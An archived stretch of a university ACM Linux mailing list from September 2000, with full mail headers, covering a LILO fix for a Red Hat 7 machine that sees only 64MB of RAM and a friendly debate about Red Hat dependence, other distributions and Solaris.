[128.220.223.63]) by hops.cs.jhu.edu (8.9.3/8.9.3) with ESMTP id UAA09847 for ; Tue, 26 Sep 2000 20:38:02 -0400 (EDT) Received: from chimera.acm.jhu.edu (IDENT:mail@localhost [127.0.0.1]) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id UAA10712; Tue, 26 Sep 2000 20:37:59 -0400 Received: from jhuml1.hcf.jhu.edu (jhuml1.hcf.jhu.edu [128.220.2.86]) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id UAA10705 for ; Tue, 26 Sep 2000 20:37:57 -0400 Received: from conversion.jhmail.hcf.jhu.edu by jhmail.hcf.jhu.edu (PMDF V6.0-24 #40996) id <01JUN4ICEN7KG5XYCQ@jhmail.hcf.jhu.edu> for linux@acm.jhu.edu; Tue, 26 Sep 2000 20:37:35 -0400 (EDT) Received: from jhunix.hcf.jhu.edu (jhunix.hcf.jhu.edu [128.220.2.5]) by jhmail.hcf.jhu.edu (PMDF V6.0-24 #40996) with ESMTP id <01JUN4IBSFLKG5XRGG@jhmail.hcf.jhu.edu> for linux@acm.jhu.edu; Tue, 26 Sep 2000 20:37:34 -0400 (EDT) Received: from pirasa (jhu2109.res.jhu.edu [128.220.196.43]) by jhunix.hcf.jhu.edu (SGI-8.9.3/8.9.3) with SMTP id UAA20559 for ; Tue, 26 Sep 2000 20:37:45 -0400 (EDT) Date: Tue, 26 Sep 2000 20:37:52 -0400 From: Ali Soylu Subject: RE: [Linux] 64 meg ram cap In-reply-to: To: linux@acm.jhu.edu Message-id: MIME-version: 1.0 X-MIMEOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Content-transfer-encoding: 7bit Importance: Normal X-Priority: 3 (Normal) X-MSMail-priority: Normal Sender: linux-admin@acm.jhu.edu Errors-To: linux-admin@acm.jhu.edu X-BeenThere: linux@acm.jhu.edu X-Mailman-Version: 2.0beta2 Precedence: bulk Reply-To: linux@acm.jhu.edu List-Id: The JHU ACM Linux discussion and help list Content-Type: text/plain; charset=US-ASCII Content-Length: 654 Lines: 22 Try editiong /etc/lilo.conf and adding the line: append = "mem=256M" -----Original Message----- From: linux-admin@acm.jhu.edu [mailto:linux-admin@acm.jhu.edu]On Behalf Of Michael P Fischer Sent: Tuesday, September 26, 2000 8:30 PM To: linux@acm.jhu.edu Subject: [Linux] 64 meg ram cap I just installed RH 7. I have 256 RAM but it only recognizes 64... how do i fix this?? -Mike Fischer _______________________________________________ Linux maillist - Linux@acm.jhu.edu http://www.acm.jhu.edu/mailman/listinfo/linux _______________________________________________ Linux maillist - Linux@acm.jhu.edu http://www.acm.jhu.edu/mailman/listinfo/linux >From linux-admin@acm.jhu.edu Tue Sep 26 20:41 EDT 2000 Received: from chimera.acm.jhu.edu (IDENT:root@chimera.acm.jhu.edu [128.220.223.63]) by hops.cs.jhu.edu (8.9.3/8.9.3) with ESMTP id UAA09914 for ; Tue, 26 Sep 2000 20:41:14 -0400 (EDT) Received: from chimera.acm.jhu.edu (IDENT:mail@localhost [127.0.0.1]) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id UAA10855; Tue, 26 Sep 2000 20:41:12 -0400 Received: from jhuml1.hcf.jhu.edu (jhuml1.hcf.jhu.edu [128.220.2.86]) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id UAA10848 for ; Tue, 26 Sep 2000 20:41:10 -0400 Received: from conversion.jhmail.hcf.jhu.edu by jhmail.hcf.jhu.edu (PMDF V6.0-24 #40996) id <01JUN4MDTE0GG8DTJH@jhmail.hcf.jhu.edu> for linux@acm.jhu.edu; Tue, 26 Sep 2000 20:40:51 -0400 (EDT) Received: from jhunix.hcf.jhu.edu (jhunix.hcf.jhu.edu [128.220.2.5]) by jhmail.hcf.jhu.edu (PMDF V6.0-24 #40996) with ESMTP id <01JUN4MCQFMCG8DDAE@jhmail.hcf.jhu.edu> for linux@acm.jhu.edu; Tue, 26 Sep 2000 20:40:49 -0400 (EDT) Received: from pirasa (jhu2109.res.jhu.edu [128.220.196.43]) by jhunix.hcf.jhu.edu (SGI-8.9.3/8.9.3) with SMTP id UAA05559 for ; Tue, 26 Sep 2000 20:40:58 -0400 (EDT) Date: Tue, 26 Sep 2000 20:41:05 -0400 From: Ali Soylu Subject: RE: [Linux] 64 meg ram cap In-reply-to: To: linux@acm.jhu.edu Message-id: MIME-version: 1.0 X-MIMEOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Content-transfer-encoding: 7bit Importance: Normal X-Priority: 3 (Normal) X-MSMail-priority: Normal Sender: linux-admin@acm.jhu.edu Errors-To: linux-admin@acm.jhu.edu X-BeenThere: linux@acm.jhu.edu X-Mailman-Version: 2.0beta2 Precedence: bulk Reply-To: linux@acm.jhu.edu List-Id: The JHU ACM Linux discussion and help list Content-Type: text/plain; charset=US-ASCII Content-Length: 1065 Lines: 40 And don't forget to reinstal lilo: /sbin/lilo and reboot. ALi -----Original Message----- From: linux-admin@acm.jhu.edu [mailto:linux-admin@acm.jhu.edu]On Behalf Of Ali Soylu Sent: Tuesday, September 26, 2000 8:38 PM To: linux@acm.jhu.edu Subject: RE: [Linux] 64 meg ram cap Try editiong /etc/lilo.conf and adding the line: append = "mem=256M" -----Original Message----- From: linux-admin@acm.jhu.edu [mailto:linux-admin@acm.jhu.edu]On Behalf Of Michael P Fischer Sent: Tuesday, September 26, 2000 8:30 PM To: linux@acm.jhu.edu Subject: [Linux] 64 meg ram cap I just installed RH 7. I have 256 RAM but it only recognizes 64... how do i fix this?? -Mike Fischer _______________________________________________ Linux maillist - Linux@acm.jhu.edu http://www.acm.jhu.edu/mailman/listinfo/linux _______________________________________________ Linux maillist - Linux@acm.jhu.edu http://www.acm.jhu.edu/mailman/listinfo/linux _______________________________________________ Linux maillist - Linux@acm.jhu.edu http://www.acm.jhu.edu/mailman/listinfo/linux >From linux-admin@acm.jhu.edu Tue Sep 26 21:55 EDT 2000 Received: from chimera.acm.jhu.edu (IDENT:root@chimera.acm.jhu.edu [128.220.223.63]) by hops.cs.jhu.edu (8.9.3/8.9.3) with ESMTP id VAA10584 for ; Tue, 26 Sep 2000 21:55:13 -0400 (EDT) Received: from chimera.acm.jhu.edu (IDENT:mail@localhost [127.0.0.1]) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id VAA11910; Tue, 26 Sep 2000 21:55:09 -0400 Received: from smtp-a.capu.net (IDENT:0@smtp-a.capu.net [205.177.76.122]) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id VAA11889 for ; Tue, 26 Sep 2000 21:55:04 -0400 Received: from capu.net (capumail-a.capu.net [205.177.76.106]) by smtp-a.capu.net (8.9.3/8.9.3) with ESMTP id VAA19882 for ; Tue, 26 Sep 2000 21:54:57 -0400 Received: from [64.50.145.191] (HELO jhu.edu) by capu.net (CommuniGate Pro SMTP 3.3.1) with ESMTP id 3788793 for linux@acm.jhu.edu; Tue, 26 Sep 2000 21:54:57 -0400 Message-ID: <39D0011D.5EA1DA83@jhu.edu> Date: Mon, 25 Sep 2000 21:51:26 -0400 From: Mike Fischer X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.16-22 i686) X-Accept-Language: en MIME-Version: 1.0 To: linux@acm.jhu.edu Content-Transfer-Encoding: 7bit Subject: [Linux] 64 meg cap Sender: linux-admin@acm.jhu.edu Errors-To: linux-admin@acm.jhu.edu X-BeenThere: linux@acm.jhu.edu X-Mailman-Version: 2.0beta2 Precedence: bulk Reply-To: linux@acm.jhu.edu List-Id: The JHU ACM Linux discussion and help list Content-Type: text/plain; charset=us-ascii Content-Length: 347 Lines: 8 Alright, i added append = "mem=256M" to my lilo.conf file and then i reinstalled lilo by typing /sbin/lilo and it said "Added linux *" ... i rebooted and i still have the same 64meg ram issue... Any suggestions? _______________________________________________ Linux maillist - Linux@acm.jhu.edu http://www.acm.jhu.edu/mailman/listinfo/linux >From linux-admin@acm.jhu.edu Tue Sep 26 22:17 EDT 2000 Received: from chimera.acm.jhu.edu (IDENT:root@chimera.acm.jhu.edu [128.220.223.63]) by hops.cs.jhu.edu (8.9.3/8.9.3) with ESMTP id WAA10825 for ; Tue, 26 Sep 2000 22:17:38 -0400 (EDT) Received: from chimera.acm.jhu.edu (IDENT:mail@localhost [127.0.0.1]) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id WAA12410; Tue, 26 Sep 2000 22:17:35 -0400 Received: from jhuml1.hcf.jhu.edu (jhuml1.hcf.jhu.edu [128.220.2.86]) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id WAA12403 for ; Tue, 26 Sep 2000 22:17:33 -0400 Received: from conversion.jhmail.hcf.jhu.edu by jhmail.hcf.jhu.edu (PMDF V6.0-24 #40996) id <01JUN7Z12IJ4G5XQ5H@jhmail.hcf.jhu.edu> for linux@acm.jhu.edu; Tue, 26 Sep 2000 22:17:20 -0400 (EDT) Received: from chow.mat.jhu.edu (chow.mat.jhu.edu [128.220.25.2]) by jhmail.hcf.jhu.edu (PMDF V6.0-24 #40996) with ESMTP id <01JUN800PJOQG8DWRU@jhmail.hcf.jhu.edu> for linux@acm.jhu.edu; Tue, 26 Sep 2000 22:17:21 -0400 (EDT) Received: from localhost (cralston@localhost) by chow.mat.jhu.edu (8.9.1/8.9.1) with SMTP id WAA16234 for ; Tue, 26 Sep 2000 22:17:30 -0400 (EDT) Date: Tue, 26 Sep 2000 22:17:30 -0400 (EDT) From: Chris Ralston Subject: Re: [Linux] 64 meg cap In-reply-to: <39D0011D.5EA1DA83@jhu.edu> To: linux@acm.jhu.edu Message-id: MIME-version: 1.0 Sender: linux-admin@acm.jhu.edu Errors-To: linux-admin@acm.jhu.edu X-BeenThere: linux@acm.jhu.edu X-Mailman-Version: 2.0beta2 Precedence: bulk Reply-To: linux@acm.jhu.edu List-Id: The JHU ACM Linux discussion and help list Content-Type: TEXT/PLAIN; charset=US-ASCII Content-Length: 988 Lines: 27 First, make sure that you put the "append" line under the image= section that has your kernel. Failing that, might you have a setting activated in your BIOS that is hiding the memory? The default kernel should have big memory enabled... Haven't installed yet, but it's 2.2.17, right guys? (I heard they're including a 2.4 option for kicks... I bet that's a support nightmare.) -Chris -- Rest assured that in 'normal' cases, things are nice. On Mon, 25 Sep 2000, Mike Fischer wrote: > Alright, i added > append = "mem=256M" to my lilo.conf file and then i reinstalled lilo by > typing /sbin/lilo and it said "Added linux *" ... i rebooted and i > still have the same 64meg ram issue... Any suggestions? > > _______________________________________________ > Linux maillist - Linux@acm.jhu.edu > http://www.acm.jhu.edu/mailman/listinfo/linux > _______________________________________________ Linux maillist - Linux@acm.jhu.edu http://www.acm.jhu.edu/mailman/listinfo/linux >From linux-admin@acm.jhu.edu Tue Sep 26 23:00 EDT 2000 Received: from chimera.acm.jhu.edu (IDENT:root@chimera.acm.jhu.edu [128.220.223.63]) by hops.cs.jhu.edu (8.9.3/8.9.3) with ESMTP id XAA11279 for ; Tue, 26 Sep 2000 23:00:47 -0400 (EDT) Received: from chimera.acm.jhu.edu (IDENT:mail@localhost [127.0.0.1]) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id XAA13041; Tue, 26 Sep 2000 23:00:45 -0400 Received: from smtp-a.capu.net (IDENT:0@smtp-a.capu.net [205.177.76.122]) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id XAA13034 for ; Tue, 26 Sep 2000 23:00:43 -0400 Received: from acm.jhu.edu (cd-176-101.ra30.dc.capu.net [64.50.176.101]) by smtp-a.capu.net (8.9.3/8.9.3) with ESMTP id XAA21265 for ; Tue, 26 Sep 2000 23:00:43 -0400 Message-ID: <39D164BD.513AB101@acm.jhu.edu> Date: Tue, 26 Sep 2000 23:08:45 -0400 From: Jeremy Muhlich X-Mailer: Mozilla 4.72 [en] (X11; I; Linux 2.2.16 i686) X-Accept-Language: en MIME-Version: 1.0 To: linux@acm.jhu.edu Subject: Re: [Linux] 64 meg cap References: <39D0011D.5EA1DA83@jhu.edu> Content-Transfer-Encoding: 7bit Sender: linux-admin@acm.jhu.edu Errors-To: linux-admin@acm.jhu.edu X-BeenThere: linux@acm.jhu.edu X-Mailman-Version: 2.0beta2 Precedence: bulk Reply-To: linux@acm.jhu.edu List-Id: The JHU ACM Linux discussion and help list Content-Type: text/plain; charset=us-ascii Content-Length: 448 Lines: 14 Mike Fischer wrote: > > Alright, i added > append = "mem=256M" to my lilo.conf file and then i reinstalled lilo by > typing /sbin/lilo and it said "Added linux *" ... i rebooted and i > still have the same 64meg ram issue... Any suggestions? Where exactly are you seeing the 64M ram limit reported? -- Jeremy _______________________________________________ Linux maillist - Linux@acm.jhu.edu http://www.acm.jhu.edu/mailman/listinfo/linux >From linux-admin@acm.jhu.edu Wed Sep 27 00:42 EDT 2000 Received: from chimera.acm.jhu.edu (IDENT:root@chimera.acm.jhu.edu [128.220.223.63]) by hops.cs.jhu.edu (8.9.3/8.9.3) with ESMTP id AAA12180 for ; Wed, 27 Sep 2000 00:42:37 -0400 (EDT) Received: from chimera.acm.jhu.edu (IDENT:mail@localhost [127.0.0.1]) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id AAA14580; Wed, 27 Sep 2000 00:42:33 -0400 Received: from smtp-out1.bellatlantic.net (smtp-out1.bellatlantic.net [199.45.39.156]) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id AAA14573 for ; Wed, 27 Sep 2000 00:42:31 -0400 Received: from js (adsl-151-196-11-117.bellatlantic.net [151.196.11.117]) by smtp-out1.bellatlantic.net (8.9.1/8.9.1) with SMTP id AAA18784 for ; Wed, 27 Sep 2000 00:42:18 -0400 (EDT) Message-ID: <03e901c0283d$73c43b10$0300a8c0@js> From: "John Shiles" To: Date: Wed, 27 Sep 2000 00:43:14 -0400 MIME-Version: 1.0 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2919.6700 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 Subject: [Linux] redhat 7.0 Sender: linux-admin@acm.jhu.edu Errors-To: linux-admin@acm.jhu.edu X-BeenThere: linux@acm.jhu.edu X-Mailman-Version: 2.0beta2 Precedence: bulk Reply-To: linux@acm.jhu.edu List-Id: The JHU ACM Linux discussion and help list Content-Type: multipart/alternative; boundary="----=_NextPart_000_03E6_01C0281B.EB4CF090" Content-Length: 1462 Lines: 48 This is a multi-part message in MIME format. ------=_NextPart_000_03E6_01C0281B.EB4CF090 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Has anyone found a good place to download redhat 7.0 yet, cause = everywhere i try there is no iso? Thanks, John --------------------------------------------- John Shiles Dept of Computer Science Johns Hopkins University ------=_NextPart_000_03E6_01C0281B.EB4CF090 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
    Has anyone found a good place to=20 download redhat 7.0 yet, cause everywhere i try there is no=20 iso?
     
    Thanks,
    John
     
    ---------------------------------------------
    John = Shiles
    Dept of=20 Computer Science
    Johns Hopkins University
    ------=_NextPart_000_03E6_01C0281B.EB4CF090-- _______________________________________________ Linux maillist - Linux@acm.jhu.edu http://www.acm.jhu.edu/mailman/listinfo/linux >From linux-admin@acm.jhu.edu Wed Sep 27 02:00 EDT 2000 Received: from chimera.acm.jhu.edu (IDENT:root@chimera.acm.jhu.edu [128.220.223.63]) by hops.cs.jhu.edu (8.9.3/8.9.3) with ESMTP id CAA12582 for ; Wed, 27 Sep 2000 02:00:18 -0400 (EDT) Received: from chimera.acm.jhu.edu (IDENT:mail@localhost [127.0.0.1]) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id CAA15840; Wed, 27 Sep 2000 02:00:14 -0400 Received: from localhost (brian@localhost) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id CAA15830 for ; Wed, 27 Sep 2000 02:00:11 -0400 Date: Wed, 27 Sep 2000 02:00:11 -0400 (EDT) From: Brian Cohen To: linux@acm.jhu.edu Subject: Re: [Linux] redhat 7.0 In-Reply-To: <03e901c0283d$73c43b10$0300a8c0@js> Message-ID: MIME-Version: 1.0 Sender: linux-admin@acm.jhu.edu Errors-To: linux-admin@acm.jhu.edu X-BeenThere: linux@acm.jhu.edu X-Mailman-Version: 2.0beta2 Precedence: bulk Reply-To: linux@acm.jhu.edu List-Id: The JHU ACM Linux discussion and help list Content-Type: TEXT/PLAIN; charset=US-ASCII Content-Length: 2831 Lines: 67 Hello LUGers.... [Brian steps onto the soapbox] Has anyone else noticed that the JHU ACM is a little RedHat dependent? I mean, I know all the stuff about it being the most popular and having arguably the best installation suite, but still... I think members would learn a lot more about Linux, Unix, and computing in general if we would try to all individually wean ourselves from the things that make RedHat RedHat instead of merely Linux. Things you can do: - never install anything from RPM's. installing stuff from source gives you the opportunity to custom-configure the application from the GNU 'configure' script or by manually editing the source. You also get the chance to read the source code. Plus, RPM's tend to install apps in stupid places (does GNOME and its 'DLL hell' of dependencies really belong in /usr/ ?) apt-get in Debian and BSD packages are similar evils in my opinion, but hey- I'm a control freak. - play around with Debian, Slackware, and some other distros. Compare them with each other and with RedHat, and see if you can tell how they're different, and whether those differences are good or bad. - play around with as many other Unix platforms you can get your hands on, and compare them with each other and with the various Linuxes you've used. Free Unix-based OS's available include FreeBSD, OpenBSD, BeOS Personal Edition, QNX Realtime Platform, and NetBSD. I know that some of this simply isn't feasable for a lot of people. JHU is a hectic place and we all have too much work. We just don't want to run Windows because it doesn't meet our standards, and RedHat does just fine for that purpose. But honestly, think about it... all of us spend just a little bit too much time sitting at our computers NOT doing homework. We're all computer geeks, or we wouldn't be in the ACM. Why not expand our horizons a little? We're the Linux User Group, not the RedHat Users Group - let's try to become truly platform-independent. Can't hurt :) I apologize for this rant, and I apologize to those I may have alienated (yes James, I know you'd run FreeBSD on your truck's cassete player if you could figure out how) and no, you Mandrake people are NOT exempt from my broadcast . Any thoughts? BTW, sorry John. This wasn't targeted at you specifically. I just replied to your message because it was easier than composing a new one I guess. -Brian J. Cohen On Wed, 27 Sep 2000, John Shiles wrote: > Has anyone found a good place to download redhat 7.0 yet, cause everywhere i try there is no iso? > > Thanks, > John > > --------------------------------------------- > John Shiles > Dept of Computer Science > Johns Hopkins University > _______________________________________________ Linux maillist - Linux@acm.jhu.edu http://www.acm.jhu.edu/mailman/listinfo/linux >From linux-admin@acm.jhu.edu Wed Sep 27 02:10 EDT 2000 Received: from chimera.acm.jhu.edu (IDENT:root@chimera.acm.jhu.edu [128.220.223.63]) by hops.cs.jhu.edu (8.9.3/8.9.3) with ESMTP id CAA12636 for ; Wed, 27 Sep 2000 02:10:02 -0400 (EDT) Received: from chimera.acm.jhu.edu (IDENT:mail@localhost [127.0.0.1]) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id CAA16062; Wed, 27 Sep 2000 02:09:59 -0400 Received: from localhost (jflemer@localhost) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id CAA16055 for ; Wed, 27 Sep 2000 02:09:57 -0400 Date: Wed, 27 Sep 2000 02:09:57 -0400 (EDT) From: "James E. Flemer" To: linux@acm.jhu.edu Subject: platform-independant (Was: Re: [Linux] redhat 7.0) In-Reply-To: Message-ID: MIME-Version: 1.0 Sender: linux-admin@acm.jhu.edu Errors-To: linux-admin@acm.jhu.edu X-BeenThere: linux@acm.jhu.edu X-Mailman-Version: 2.0beta2 Precedence: bulk Reply-To: linux@acm.jhu.edu List-Id: The JHU ACM Linux discussion and help list Content-Type: TEXT/PLAIN; charset=US-ASCII Content-Length: 3442 Lines: 83 [get off the soapbox brian, my turn :) ] Brian you forgot one important OS... Solaris. You can get solaris for x86 hardware really cheap (cost to ship) from Sun. Or I'll sell you mine for even less. I would go on, but I'll save it till tomorrow ... I need sleep. Expect more from me on this. -James On Wed, 27 Sep 2000, Brian Cohen wrote: > Hello LUGers.... > > [Brian steps onto the soapbox] > > Has anyone else noticed that the JHU ACM is a little RedHat dependent? I > mean, I know all the stuff about it being the most popular and having > arguably the best installation suite, but still... I think members would > learn a lot more about Linux, Unix, and computing in general if we would > try to all individually wean ourselves from the things that make RedHat > RedHat instead of merely Linux. Things you can do: > > - never install anything from RPM's. installing stuff from source gives > you the opportunity to custom-configure the application from the GNU > 'configure' script or by manually editing the source. You also get the > chance to read the source code. Plus, RPM's tend to install apps in > stupid places (does GNOME and its 'DLL hell' of dependencies really belong > in /usr/ ?) apt-get in Debian and BSD packages are similar evils in my > opinion, but hey- I'm a control freak. > > - play around with Debian, Slackware, and some other distros. Compare > them with each other and with RedHat, and see if you can tell how they're > different, and whether those differences are good or bad. > > - play around with as many other Unix platforms you can get your hands on, > and compare them with each other and with the various Linuxes you've > used. Free Unix-based OS's available include FreeBSD, OpenBSD, BeOS > Personal Edition, QNX Realtime Platform, and NetBSD. > > I know that some of this simply isn't feasable for a lot of people. JHU is > a hectic place and we all have too much work. We just don't want to run > Windows because it doesn't meet our standards, and RedHat does just > fine for that purpose. But honestly, think about it... all of us spend > just a little bit too much time sitting at our computers NOT doing > homework. We're all computer geeks, or we wouldn't be in the ACM. Why > not expand our horizons a little? We're the Linux User Group, not the > RedHat Users Group - let's try to become truly > platform-independent. Can't hurt :) > > I apologize for this rant, and I apologize to those I may have alienated > (yes James, I know you'd run FreeBSD on your truck's cassete player if you > could figure out how) and no, you Mandrake people are NOT exempt from my > broadcast . > > Any thoughts? > > BTW, sorry John. This wasn't targeted at you specifically. I just replied > to your message because it was easier than composing a new one I guess. > > -Brian J. Cohen > > > On Wed, 27 Sep 2000, John Shiles wrote: > > > Has anyone found a good place to download redhat 7.0 yet, cause everywhere i try there is no iso? > > > > Thanks, > > John > > > > --------------------------------------------- > > John Shiles > > Dept of Computer Science > > Johns Hopkins University > > > > _______________________________________________ > Linux maillist - Linux@acm.jhu.edu > http://www.acm.jhu.edu/mailman/listinfo/linux > _______________________________________________ Linux maillist - Linux@acm.jhu.edu http://www.acm.jhu.edu/mailman/listinfo/linux >From linux-admin@acm.jhu.edu Wed Sep 27 05:17 EDT 2000 Received: from chimera.acm.jhu.edu (IDENT:root@chimera.acm.jhu.edu [128.220.223.63]) by hops.cs.jhu.edu (8.9.3/8.9.3) with ESMTP id FAA13209 for ; Wed, 27 Sep 2000 05:17:01 -0400 (EDT) Received: from chimera.acm.jhu.edu (IDENT:mail@localhost [127.0.0.1]) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id FAA18029; Wed, 27 Sep 2000 05:16:58 -0400 Received: from smtp-a.capu.net (IDENT:0@smtp-a.capu.net [205.177.76.122]) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id FAA18022 for ; Wed, 27 Sep 2000 05:16:56 -0400 Received: from acm.jhu.edu (cd-176-101.ra30.dc.capu.net [64.50.176.101]) by smtp-a.capu.net (8.9.3/8.9.3) with ESMTP id FAA25306 for ; Wed, 27 Sep 2000 05:16:55 -0400 Message-ID: <39D1BCF7.604B33F5@acm.jhu.edu> Date: Wed, 27 Sep 2000 05:25:11 -0400 From: Jeremy Muhlich X-Mailer: Mozilla 4.72 [en] (X11; I; Linux 2.2.16 i686) X-Accept-Language: en MIME-Version: 1.0 To: linux@acm.jhu.edu Subject: Re: platform-independant (Was: Re: [Linux] redhat 7.0) References: Content-Transfer-Encoding: 7bit Sender: linux-admin@acm.jhu.edu Errors-To: linux-admin@acm.jhu.edu X-BeenThere: linux@acm.jhu.edu X-Mailman-Version: 2.0beta2 Precedence: bulk Reply-To: linux@acm.jhu.edu List-Id: The JHU ACM Linux discussion and help list Content-Type: text/plain; charset=us-ascii Content-Length: 1118 Lines: 26 "James E. Flemer" wrote: > > [get off the soapbox brian, my turn :) ] > > Brian you forgot one important OS... Solaris. You can get > solaris for x86 hardware really cheap (cost to ship) from > Sun. Or I'll sell you mine for even less. I would go on, > but I'll save it till tomorrow ... I need sleep. > Expect more from me on this. > -James After being a sysadmin and programmer on a Solaris box for 2 years straight, I would not suggest using solaris for anything except maybe if you're stuck with Sun hardware and you want a Sun support contract. (No they won't support you if you run Linux/BSD on your Sun box, hell they won't even support you if you buy your own hard drives instead of theirs [which cost 4x market price]) Solaris might have better performance than linux/*bsd/etc. in certain areas, and be more scaleable and robust and all that, but I find constant annoyances in daily system usage, and maintenance and upgrades tend to be an absolute nightmare. -- Jeremy _______________________________________________ Linux maillist - Linux@acm.jhu.edu http://www.acm.jhu.edu/mailman/listinfo/linux >From linux-admin@acm.jhu.edu Wed Sep 27 06:13 EDT 2000 Received: from chimera.acm.jhu.edu (IDENT:root@chimera.acm.jhu.edu [128.220.223.63]) by hops.cs.jhu.edu (8.9.3/8.9.3) with ESMTP id GAA13402 for ; Wed, 27 Sep 2000 06:13:07 -0400 (EDT) Received: from chimera.acm.jhu.edu (IDENT:mail@localhost [127.0.0.1]) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id GAA18648; Wed, 27 Sep 2000 06:13:05 -0400 Received: from jhuml3.jhu.edu (jhuml3.jhu.edu [128.220.2.66]) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id GAA18641 for ; Wed, 27 Sep 2000 06:13:03 -0400 Received: from CONVERSION-DAEMON.jhuml3.jhu.edu by jhuml3.jhu.edu (PMDF V6.0-24 #46859) id <0G1J00C01J1NE5@jhuml3.jhu.edu> for linux@acm.jhu.edu; Wed, 27 Sep 2000 06:12:59 -0400 (EDT) Received: from chow.mat.jhu.edu (chow.mat.jhu.edu [128.220.25.2]) by jhuml3.jhu.edu (PMDF V6.0-24 #46859) with ESMTP id <0G1J00BA6J1NUY@jhuml3.jhu.edu> for linux@acm.jhu.edu; Wed, 27 Sep 2000 06:12:59 -0400 (EDT) Received: from localhost (cralston@localhost) by chow.mat.jhu.edu (8.9.1/8.9.1) with SMTP id GAA26223 for ; Wed, 27 Sep 2000 06:12:59 -0400 (EDT) Date: Wed, 27 Sep 2000 06:12:59 -0400 (EDT) From: Chris Ralston Subject: Re: platform-independant (Was: Re: [Linux] redhat 7.0) In-reply-to: <39D1BCF7.604B33F5@acm.jhu.edu> To: linux@acm.jhu.edu Message-id: MIME-version: 1.0 Sender: linux-admin@acm.jhu.edu Errors-To: linux-admin@acm.jhu.edu X-BeenThere: linux@acm.jhu.edu X-Mailman-Version: 2.0beta2 Precedence: bulk Reply-To: linux@acm.jhu.edu List-Id: The JHU ACM Linux discussion and help list Content-Type: TEXT/PLAIN; charset=US-ASCII Content-Length: 2894 Lines: 61 Keep in mind, though, that you get commercial application support. That's something that shouldn't be overlooked. There are lots of companies that will offer free demos (or free full versions) of software to students that is offered in Solaris/sparc, Solaris/x86, HPUX and IRIX versions but not Linux/BSD... From their point of view, this usually means less combinations of hardware/software to verify their product on and less variables that can affect it. I mean, if I had a major $$$ piece of software that wsn't written in a VERY cross-platform language (Java, Perl, tcl), I'd be afraid of supporting it on Linux, too. :) Solaris/x86 is an easy way for students to get their hands on a "high end" OS that the "rest of the world" takes more seriously. Granted, another year and Linux will be one of the big boys, with the support it's gaining from major corps, but for now the big name applications just aren't there... so we can learn how to use it and play around with apps like that, even if it means the headaches of Solaris administration. Back to the topic of more distributions, I got a (admittedly dated) copy of SuSE packaged with Q3A that I installed. It's definately very cute and neat, and in lots of ways that RedHat wouldn't even make you think of. Personally, I'll keep coming back to Redhat just because it's so easy to obtain recent copies, though. That's why I used slackware for so long... before big pipes and shrinkwrapped Linux at CompUSA. :P -Chris -- Rest assured that in 'normal' cases, things are nice. On Wed, 27 Sep 2000, Jeremy Muhlich wrote: > "James E. Flemer" wrote: > > > > [get off the soapbox brian, my turn :) ] > > > > Brian you forgot one important OS... Solaris. You can get > > solaris for x86 hardware really cheap (cost to ship) from > > Sun. Or I'll sell you mine for even less. I would go on, > > but I'll save it till tomorrow ... I need sleep. > > Expect more from me on this. > > -James > > After being a sysadmin and programmer on a Solaris box for 2 years > straight, I would not suggest using solaris for anything except maybe if > you're stuck with Sun hardware and you want a Sun support contract. (No > they won't support you if you run Linux/BSD on your Sun box, hell they > won't even support you if you buy your own hard drives instead of theirs > [which cost 4x market price]) Solaris might have better performance > than linux/*bsd/etc. in certain areas, and be more scaleable and robust > and all that, but I find constant annoyances in daily system usage, and > maintenance and upgrades tend to be an absolute nightmare. > > > -- Jeremy > _______________________________________________ > Linux maillist - Linux@acm.jhu.edu > http://www.acm.jhu.edu/mailman/listinfo/linux > _______________________________________________ Linux maillist - Linux@acm.jhu.edu http://www.acm.jhu.edu/mailman/listinfo/linux >From linux-admin@acm.jhu.edu Wed Sep 27 09:15 EDT 2000 Received: from chimera.acm.jhu.edu (IDENT:root@chimera.acm.jhu.edu [128.220.223.63]) by hops.cs.jhu.edu (8.9.3/8.9.3) with ESMTP id JAA14166 for ; Wed, 27 Sep 2000 09:15:31 -0400 (EDT) Received: from chimera.acm.jhu.edu (IDENT:mail@localhost [127.0.0.1]) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id JAA20430; Wed, 27 Sep 2000 09:15:28 -0400 Received: from jhuml3.jhu.edu (jhuml3.jhu.edu [128.220.2.66]) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id JAA20423 for ; Wed, 27 Sep 2000 09:15:27 -0400 Received: from CONVERSION-DAEMON.jhuml3.jhu.edu by jhuml3.jhu.edu (PMDF V6.0-24 #46859) id <0G1J00G01RHQE9@jhuml3.jhu.edu> for linux@acm.jhu.edu; Wed, 27 Sep 2000 09:15:26 -0400 (EDT) Received: from jhunix.hcf.jhu.edu (jhunix.hcf.jhu.edu [128.220.2.5]) by 